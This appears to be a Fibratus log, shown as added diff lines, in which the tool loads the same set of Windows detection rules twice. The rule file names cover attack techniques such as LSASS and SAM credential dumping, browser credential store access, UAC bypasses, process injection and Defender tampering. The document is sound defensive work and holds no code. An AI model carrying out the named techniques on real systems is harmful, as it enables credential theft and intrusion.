+time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 